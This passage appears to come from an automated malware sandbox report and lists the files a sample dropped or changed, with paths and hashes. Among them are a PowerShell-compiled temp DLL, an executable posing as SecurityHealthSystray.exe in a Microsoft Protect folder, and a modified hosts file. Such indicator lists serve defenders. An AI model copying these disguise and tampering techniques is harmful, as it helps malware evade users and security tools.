                  • Size 944B
                  • SHA256 dcbbda89fbf07f270ca30be6b7be1d1bed40ba6ce5043d31cc0129da146df61d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Display (1).png
                  • Path C:\Users\Admin\AppData\Local\Temp\88m1WY1wOz\Display (1).png
                  • Size 603KB
                  • SHA256 f05a6f545def4dbc6b0fba1d4c91553aa4e9a280fdba9a982bfe93c2d23c9849
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  RES7F1E.tmp
                  • Path C:\Users\Admin\AppData\Local\Temp\RES7F1E.tmp
                  • Size 1KB
                  • SHA256 41453702eeac1f9259ec3cf49897fd5ef314d989fa464454e21f9dc65a343c68
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  __PSScriptPolicyTest_pnjjqrkf.s2i.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pnjjqrkf.s2i.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  f3zgnxjb.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\f3zgnxjb\f3zgnxjb.dll
                  • Size 4KB
                  • SHA256 cce413facda5923f062e93f376334cf8686c8f340dae7ecc9ac98bf26330adfd
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  SecurityHealthSystray.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  • Size 10.5MB
                  • SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  hosts
                  • Path C:\Windows\System32\drivers\etc\hosts
                  • Size 2KB
                  • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  CSC39A33BB12E546B2B41D2C1A5C59D885.TMP
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\f3zgnxjb\CSC39A33BB12E546B2B41D2C1A5C59D885.TMP
                  • Size 652B
                  • SHA256 eeb0210db8f828aaaccbf0da96ba175b2b90f5b7efff581e096ab350c0e84aca
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  f3zgnxjb.0.cs
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\f3zgnxjb\f3zgnxjb.0.cs
                  • Size 1004B
                  • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  f3zgnxjb.cmdline
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\f3zgnxjb\f3zgnxjb.cmdline
                  • Size 607B
                  • SHA256 cc653000e0ed151f7c14c289fd15bfd06ed89b8ce85de32b44f307da7c64de2c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/2552-56-0x000001DD19780000-0x000001DD19788000-memory.dmp
                  Download

                  memory/5024-16-0x000002E1F4290000-0x000002E1F42B2000-memory.dmp
                  Download